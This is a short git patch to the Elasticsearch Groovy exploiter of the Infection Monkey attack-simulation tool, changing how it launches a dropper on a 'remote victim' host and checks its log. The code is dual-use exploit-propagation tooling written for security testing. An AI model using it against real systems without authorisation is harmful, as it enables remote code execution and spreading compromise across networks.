From 3f0569a29e124e5d6c9123f44a34e34149f9de1a Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:34:26 +0300 Subject: [PATCH] EG bugfixes - Use dropper instead of monkey - Run disconnected shell - Check for dropper log instead of monkey log --- infection_monkey/exploit/elasticgroovy.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 182b8d792..989ae5cdf 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,7 @@ import logging import requests from exploit import HostExploiter -from model import MONKEY_ARG +from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth @@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter): """ Runs the monkey """ - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) + cmdline += ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") def download_file_in_linux(self, src_path, target_path):